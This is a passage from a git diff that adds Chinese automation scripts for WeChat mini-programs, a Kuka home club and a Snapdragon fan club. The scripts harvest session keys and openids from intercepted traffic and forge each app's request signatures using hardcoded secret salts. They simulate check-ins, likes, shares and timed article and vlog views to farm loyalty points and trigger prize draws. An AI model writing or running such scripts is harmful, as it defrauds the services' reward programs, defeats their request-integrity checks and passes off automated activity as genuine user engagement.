uncCollect.message) + let share = await commonPost('/club-server/front/postOrder/share',{"id":articleId}) + let shareSendPoint = await commonPost('/club-server/front/member/likeSendPoint',{"postOrderId":articleId,"triggerType":3,"content":"微信好友转发","forwardType":2}) + console.log('分享:' + shareSendPoint.message) + console.log("————————————") + console.log("积分查询") + let getPoint = await commonGet('/club-server/front/member/userCenterScore'); + console.log(`拥有积分: ${getPoint.data.point}\n`) + notice += `用户:${id} 拥有积分: ${getPoint.data.point}\n` + } + if (notice) { + await sendMsg(notice); + } +} + +async function getCookie() { + const body = $.toObj($request.body); + if (!body || !body.identityValue) { + return + } + const id = body.identityValue; + const openId = body.openid; + const unionId = body.unionid; + const newData = {"id": id, "openId": openId, "unionId": unionId}; + const index = GJJJ.findIndex(e => e.id == newData.id); + if (index !== -1) { + if (GJJJ[index].unionId == newData.unionId && GJJJ[index].openId == newData.openId) { + return + } else { + GJJJ[index] = newData; + console.log(newData.unionId) + $.msg($.name, `🎉用户${newData.id}更新token成功!`, ``); + } + } else { + GJJJ.push(newData) + console.log(newData.unionId) + $.msg($.name, `🎉新增用户${newData.id}成功!`, ``); + } + $.setjson(GJJJ, "GJJJ"); +} + +async function commonPost(url,body) { + let params = getParams(body); + return new Promise(resolve => { + const options = { + url: `https://mc.kukahome.com${url}`, + headers : { + 'Connection': 'keep-alive', + 'parameterSign': params.parameterSign, + 'content-type': 'application/json', + 'timestamp': params.timestamp, + 'xweb_xhr': '1', + 'brandCode': 'K001', + 'appid': '667516', + 'sign': params.sign, + 'X-Customer': memberId, + 'AccessToken': token, + 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/6.8.0(0x16080000) NetType/WIFI MiniProgramEnv/Mac MacWechat/WMPF MacWechat/3.8.7(0x13080712) XWEB/1191', + 'accept': '*/*', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': `https://servicewechat.com/wx0770280d160f09fe/196/page-frame.html`, + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh;q=0.9', + }, + body: JSON.stringify(body) + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function commonGet(url) { + let params = getParams(url.split('?')[1]); + return new Promise(resolve => { + const options = { + url: `https://mc.kukahome.com${url}`, + headers : { + 'Connection': 'keep-alive', + 'parameterSign': params.parameterSign, + 'content-type': 'application/json', + 'timestamp': params.timestamp, + 'xweb_xhr': '1', + 'brandCode': 'K001', + 'appid': '667516', + 'sign': params.sign, + 'X-Customer': memberId, + 'AccessToken': token, + 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/6.8.0(0x16080000) NetType/WIFI MiniProgramEnv/Mac MacWechat/WMPF MacWechat/3.8.7(0x13080712) XWEB/1191', + 'accept': '*/*', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': `https://servicewechat.com/wx0770280d160f09fe/196/page-frame.html`, + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh;q=0.9', + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getParams(body) { + let time = new Date().getTime(); + let sign = md5(`667516FH3yRrHG2RfexND8${time}`); + r = String(time).substring(4, 10); + if (body) { + let parameterSign = md5(md5(objToStr(body)) + r); + return {"parameterSign": parameterSign, "sign": sign, "timestamp": time}; + } else { + return {"parameterSign": "", "sign": sign, "timestamp": time}; + } +} + +function objToStr(body) { + let result = {}; + if (typeof body === 'string') { + let paramsArr = body.split('&') + for(let i = 0,len = paramsArr.length;i < len;i++){ + let arr = paramsArr[i].split('=') + if (arr[1]) { + result[arr[0]] = arr[1]; + } + } + } else { + result = body; + } + let sortedKeys = Object.keys(result).sort(); + return sortedKeys.filter(key => result[key] != null && result[key] !== '').map(key => `${key}=${result[key]}`).join('&'); +} + +async function sendMsg(message) { + if ($.isNode()) { + let notify = '' + try { + notify = require('./sendNotify'); + } catch (e) { + notify = require("../sendNotify"); + } + await notify.sendNotify($.name, message); + } else { + $.msg($.name, '', message) + } +} + +function md5(r){return rstr2hex(rstr_md5(str2rstr_utf8(r)))}function b64_md5(r){return rstr2b64(rstr_md5(str2rstr_utf8(r)))}function any_md5(r,t){return rstr2any(rstr_md5(str2rstr_utf8(r)),t)}function hex_hmac_md5(r,t){return rstr2hex(rstr_hmac_md5(str2rstr_utf8(r),str2rstr_utf8(t)))}function b64_hmac_md5(r,t){return rstr2b64(rstr_hmac_md5(str2rstr_utf8(r),str2rstr_utf8(t)))}function any_hmac_md5(r,t,d){return rstr2any(rstr_hmac_md5(str2rstr_utf8(r),str2rstr_utf8(t)),d)}function md5_vm_test(){return"900150983cd24fb0d6963f7d28e17f72"==hex_md5("abc").toLowerCase()}function rstr_md5(r){return binl2rstr(binl_md5(rstr2binl(r),8*r.length))}function rstr_hmac_md5(r,t){var d=rstr2binl(r);d.length>16&&(d=binl_md5(d,8*r.length));for(var n=Array(16),_=Array(16),m=0;m<16;m++)n[m]=909522486^d[m],_[m]=1549556828^d[m];var f=binl_md5(n.concat(rstr2binl(t)),512+8*t.length);return binl2rstr(binl_md5(_.concat(f),640))}function rstr2hex(r){for(var t,d=hexcase?"0123456789ABCDEF":"0123456789abcdef",n="",_=0;_>>4&15)+d.charAt(15&t);return n}function rstr2b64(r){for(var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",d="",n=r.length,_=0;_8*r.length?d+=b64pad:d+=t.charAt(m>>>6*(3-f)&63);return d}function rstr2any(r,t){var d,n,_,m,f,h=t.length,e=Array(Math.ceil(r.length/2));for(d=0;d0||_>0)&&(f[f.length]=_);i[n]=m,e=f}var o="";for(d=i.length-1;d>=0;d--)o+=t.charAt(i[d]);return o}function str2rstr_utf8(r){for(var t,d,n="",_=-1;++_>>6&31,128|63&t):t<=65535?n+=String.fromCharCode(224|t>>>12&15,128|t>>>6&63,128|63&t):t<=2097151&&(n+=String.fromCharCode(240|t>>>18&7,128|t>>>12&63,128|t>>>6&63,128|63&t));return n}function str2rstr_utf16le(r){for(var t="",d=0;d>>8&255);return t}function str2rstr_utf16be(r){for(var t="",d=0;d>>8&255,255&r.charCodeAt(d));return t}function rstr2binl(r){for(var t=Array(r.length>>2),d=0;d>5]|=(255&r.charCodeAt(d/8))<>5]>>>d%32&255);return t}function binl_md5(r,t){r[t>>5]|=128<>>9<<4)]=t;for(var d=1732584193,n=-271733879,_=-1732584194,m=271733878,f=0;f>16)+(t>>16)+(d>>16);return n<<16|65535&d}function bit_rol(r,t){return r<>>32-t}var hexcase=0,b64pad=""; + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}))}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/骁龙骁友会/2026-04-07_wx_xlxyh_54797296.js b/脚本库/微信小程序/抓包版/骁龙骁友会/2026-04-07_wx_xlxyh_54797296.js new file mode 100644 index 0000000..fcb6e36 --- /dev/null +++ b/脚本库/微信小程序/抓包版/骁龙骁友会/2026-04-07_wx_xlxyh_54797296.js @@ -0,0 +1,570 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/wx_xlxyh.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/wx_xlxyh.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/wx_xlxyh.js +// # UploadedAt: 2026-04-07T07:52:51Z +// # SHA256: 5479729628c6fef0cd258e6be563d3d0c8a66d541ba8f0decbd55a6bb61ce1ef +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +const ckName = "wx_xlxyh"; + +// 工具类 +class Env { + constructor(name) { + this.name = name; + this.logs = []; + } + + log(...args) { + const msg = args.join(" "); + this.logs.push(msg); + console.log(msg); + } + + isNode() { + return typeof process !== "undefined" && process.release && process.release.name === 'node'; + } + + getdata(key) { + if (this.isNode()) { + return process.env[key] || ""; + } + return localStorage.getItem(key) || ""; + } + + wait(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); + } + + async httpRequest(config) { + if (this.isNode()) { + const axios = require('axios'); + return axios(config); + } else { + return new Promise((resolve, reject) => { + const xhr = new XMLHttpRequest(); + xhr.open(config.method || 'GET', config.url); + + if (config.headers) { + for (const [key, value] of Object.entries(config.headers)) { + xhr.setRequestHeader(key, value); + } + } + + xhr.onload = () => { + if (xhr.status >= 200 && xhr.status < 300) { + try { + const data = JSON.parse(xhr.responseText); + resolve({ data }); + } catch (e) { + resolve({ data: xhr.responseText }); + } + } else { + reject(new Error(`HTTP ${xhr.status}: ${xhr.statusText}`)); + } + }; + + xhr.onerror = () => reject(new Error('Network error')); + xhr.send(config.data); + }); + } + } + + done() { + if (this.isNode()) { + process.exit(0); + } + } +} + +// 初始化环境 +const $ = new Env("骁龙骁友会"); + +class XLXYH { + constructor(ck) { + const parts = ck.split("#"); + this.ck = (parts[0] || "").trim(); + this.userId = (parts[1] || "").trim(); + this.openId = ""; + this.valid = !!(this.ck && this.userId); + } + + generateSign(timestamp, requestId, body = "") { + const crypto = require("crypto"); + return crypto.createHash("md5") + .update(`${timestamp}${requestId}${body}boysup`) + .digest("hex"); + } + + uuid() { + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, c => { + const r = Math.random() * 16 | 0; + return (c === "x" ? r : (r & 0x3 | 0x8)).toString(16); + }); + } + + async request(method, path, data = null, extraHeaders = {}, skipSign = false) { + if (!this.valid) { + return { code: 400, message: "CK无效" }; + } + + const timestamp = Date.now().toString(); + const requestId = this.uuid().replace(/-/g, ""); + const sign = skipSign ? "" : this.generateSign(timestamp, requestId, data || ""); + + const headers = { + "Host": "qualcomm.boysup.cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "timestamp": timestamp, + "sign": sign, + "xweb_xhr": "1", + "openId": this.openId, + "requestId": requestId, + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254162e) XWEB/18151", + "userId": this.userId, + "sessionKey": this.ck, + "Referer": "https://servicewechat.com/wx026c06df6adc5d06/644/page-frame.html", + "Accept": "*/*", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + ...extraHeaders + }; + + if (skipSign) { + delete headers.sign; + } + + try { + const config = { + url: `https://qualcomm.boysup.cn${path}`, + method, + headers + }; + + if (data && method !== "GET") { + config.data = data; + } + + const resp = await $.httpRequest(config); + + if (typeof resp.data === "object") { + return resp.data; + } else { + return JSON.parse(resp.data); + } + } catch (e) { + const msg = e.response?.data?.message || e.message || "网络错误"; + $.log(`❌ 请求失败: ${msg} (路径: ${path})`); + if (e.response) { + $.log(`📄 响应数据: ${JSON.stringify(e.response.data)}`); + } + return { + code: e.response?.status || 500, + message: msg, + response: e.response + }; + } + } + + async getOpenId() { + $.log("🔍 尝试获取openId..."); + const openIdRes = await this.request( + "GET", + `/qualcomm-app/api/user/info?userId=${this.userId}`, + null, + {}, + true + ); + + if (openIdRes.code === 200 && openIdRes.data) { + this.openId = openIdRes.data.openId || ""; + $.log(`✅ 获取到openId: ${this.openId || "空"}`); + return true; + } else { + $.log(`❌ 获取openId失败: ${openIdRes.message}`); + return false; + } + } + + async run() { + if (!this.valid) { + $.log(`❌ CK格式错误,请使用: sessionKey#userId`); + return; + } + + if (!(await this.getOpenId())) { + $.log("❌ 获取openId失败,可能sessionKey已过期"); + return; + } + + $.log("🔍 获取用户信息..."); + const userInfo = await this.request("GET", `/qualcomm-app/api/user/info?userId=${this.userId}`); + if (userInfo.code !== 200) { + $.log(`❌ 账号[${this.userId}] 获取用户信息失败: ${userInfo.message}`); + if (userInfo.message.includes("登录过期") || userInfo.code === 401) { + $.log("⚠️ 登录已过期,请重新获取sessionKey和userId"); + return; + } + return; + } + + $.log(`✅ 【${userInfo.data.nick}】等级${userInfo.data.level} | 积分: ${userInfo.data.coreCoin}`); + + $.log("🔍 检查签到状态..."); + const signList = await this.request("GET", `/qualcomm-app/api/user/signList?userId=${this.userId}`); + if (signList.code === 200) { + if (signList.data?.isSignToday !== 1) { + $.log("🔍 开始签到..."); + const signResult = await this.request("POST", `/qualcomm-app/api/user/signIn?userId=${this.userId}`); + if (signResult.code === 200) { + $.log(`✅ 签到成功 +${signResult.data.coreCoin}积分`); + } else { + $.log(`❌ 签到失败: ${signResult.message}`); + } + } else { + $.log("✅ 今日已签到"); + } + } else { + $.log(`❌ 获取签到状态失败: ${signList.message}`); + } + + await this.handleDrawTask(); + + await this.handleReadTask(); + + await this.handleVlogTask(); + } + + async handleDrawTask() { + $.log("🔍 开始抽奖任务..."); + + // 修改为使用正确的抽奖接口 + const drawResult = await this.request( + "POST", + "/qualcomm-app/api/luckDraw/getLuck", + `userId=${this.userId}&activityId=7` + ); + + if (drawResult.code === 200) { + if (drawResult.data && drawResult.data.name) { + $.log(`✅ 抽奖成功: ${drawResult.data.name}`); + } else { + $.log(`✅ 抽奖成功: 获得奖励`); + } + + // 如果有积分信息,也显示出来 + if (drawResult.data.coreCoin) { + $.log(`💰 获得积分: ${drawResult.data.coreCoin}`); + } + } else if (drawResult.code === 201) { + $.log(`ℹ️ ${drawResult.message || '抽奖提示'}`); + } else { + $.log(`❌ 抽奖失败: ${drawResult.message || '接口请求错误'}`); + } + } + + async handleReadTask() { + $.log("🔍 获取文章列表..."); + const articleRes = await this.request( + "GET", + `/qualcomm-app/api/home/articles?page=1&size=10&userId=${this.userId}&type=0&searchDate=&articleShowPlace=骁友资讯列表页` + ); + + if (articleRes.code === 200 && articleRes.data?.articleList?.length) { + const article = articleRes.data.articleList[0]; + $.log(`📖 开始阅读: ${article.title.substring(0, 20)}...`); + + const enterRes = await this.request("POST", + "/qualcomm-app/api/article/enterReadDaily", + `articleId=${article.id}&userId=${this.userId}` + ); + + if (enterRes.code !== 200) { + $.log(`⚠️ 进入阅读失败: ${enterRes.message}`); + } + + const likeRes = await this.request("GET", + `/qualcomm-app/api/article/like?articleId=${article.id}&userId=${this.userId}` + ); + + if (likeRes.code === 200) { + $.log("👍 点赞成功"); + } else { + $.log(`⚠️ 点赞失败: ${likeRes.message}`); + } + + const shareRes = await this.request("POST", + "/qualcomm-app/api/article/shareDaily", + `articleId=${article.id}&userId=${this.userId}` + ); + + if (shareRes.code === 200) { + $.log("🔗 分享成功"); + } else { + $.log(`⚠️ 分享失败: ${shareRes.message}`); + } + + $.log("⏳ 模拟阅读65秒..."); + await $.wait(65000); + + const exitRes = await this.request("POST", + "/qualcomm-app/api/article/exitReadDaily", + `articleId=${article.id}&userId=${this.userId}` + ); + + if (exitRes.code === 200) { + $.log("✅ 阅读任务完成"); + } else { + $.log(`⚠️ 退出阅读失败: ${exitRes.message}`); + } + } else { + $.log("ℹ️ 未获取到文章,跳过阅读任务"); + } + } + + async handleVlogTask() { + $.log("🔍 获取VLOG列表..."); + + const vlogRes = await this.request( + "GET", + `/qualcomm-app/api/article/vlogList?page=1&size=20&userId=${this.userId}&sortBy=1` + ); + + if (vlogRes.code === 200 && vlogRes.data?.records?.length) { + const vlogs = vlogRes.data.records; + $.log(`✅ 获取到 ${vlogs.length} 个VLOG`); + + // 只获取第一个VLOG,不管是否已观看 + const targetVlog = vlogs[0]; + $.log(`🎬 开始观看第一个VLOG: ${targetVlog.title.substring(0, 20)}...`); + $.log(`📊 时长: ${targetVlog.videoDuration} | 播放: ${targetVlog.playCountFormat} | 点赞: ${targetVlog.likeCount}`); + + const enterRes = await this.request( + "POST", + "/qualcomm-app/api/article/enterReadDaily", + `articleId=${targetVlog.id}&userId=${this.userId}` + ); + + if (enterRes.code === 200) { + $.log("✅ 进入VLOG观看成功"); + + // 固定观看70秒,不管视频时长 + const waitTime = 70000; + + $.log(`⏳ 模拟观看VLOG 70秒...`); + await $.wait(waitTime); + + const exitRes = await this.request( + "POST", + "/qualcomm-app/api/article/exitReadDaily", + `articleId=${targetVlog.id}&userId=${this.userId}` + ); + + if (exitRes.code === 200) { 